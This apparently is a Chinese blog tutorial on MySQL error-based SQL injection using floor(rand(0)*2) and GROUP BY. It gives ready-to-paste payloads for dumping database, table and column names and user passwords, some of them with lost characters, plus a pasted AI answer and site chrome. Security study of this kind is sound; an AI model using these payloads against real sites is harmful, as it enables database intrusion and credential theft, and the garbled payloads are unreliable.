报错型SQL注入

本文深入探讨报错型SQL注入的原理与实践,通过关键函数rand(0), floor(), groupby的应用,实现数据库、表、列名及数据的爆破。文章提供了具体的SQL语句示例,适用于不同场景下的安全测试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近一直在看sql,xss,文件上传之类的漏洞,没有抽出空来写写博客

上次总结了SQL注入比较基础的整型和字符型的注入,今天就总结一下报错型的SQL注入,等下次有时间了在写一些,布尔型的和时间型的盲注

关于报错型的注入,是在当注入对时不显示想得到的数据或者说注入对的时候只会有一种反应,但当注入错误时候会返回错误,这时就可以用报错型的注入方法。
报错型注入:
关键语句:
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x

最关键的是三个函数分别是: rand(0),floor(),group by
基本上是靠这三个函数来报错的,其中的原理我也是查了好多CSDN上也有一下博主说的十分的详细还带有例子,简单的说明一下,floor(rand(0)*2)的值是有一定顺序的是 0110110110…,group by x 是对表里x进行扫描然后形成表,当表里没有x值时count为1,当存在一个一样的时count +1,表中x为主键。group by 有一个特点是x的值没在表中时,在插入之前对group by后面的语句会再进行一次计算,然后再插入。有时会用 group by (floor(rand(0)2))来进行报错,是因为rand(0)函数具有一定的随机性,在计算时插入表的时候会造成主键的冲突,从而出错,接着报错。
下面列一下我用的报错语句,我这里就粘贴的hackbar里的报错语句(还是要学会用一些工具来帮助自己,这样会比较方便快捷)
爆库名:AND(SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆表名: AND(SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆列名: AND (SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆数据: AND (SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

PS:
因为是好早之前做的了,这里就没有截图了,只是总结一下报错型注入的大致原理和语句。
解释一下这些语句中 database()是库名,username表名,users列名

对于安鸾SQL报错型注入02,报错注入是利用网站的报错信息来带出我们想要的信息。在报错注入中,我们可以使用一些常用的命令来测试平台和获取信息。其中,floor()+rand()+group()函数是一种常用的报错注入命令。另外,还可以使用extractvalue()函数来进行注入。\[2\]\[3\] 请注意,SQL注入是一种安全漏洞,它可以允许攻击者执行恶意的SQL语句,从而获取敏感信息或者对数据库进行破坏。为了保护网站的安全,建议开发人员采取相应的防护措施,如使用参数化查询、输入验证和过滤等。 #### 引用[.reference_title] - *1* [安鸾渗透实战平台|SQL数字型GET注入02](https://blog.csdn.net/m_de_g/article/details/121705420)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [【SQL注入03】报错注入实例操作](https://blog.csdn.net/Fighting_hawk/article/details/123003447)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值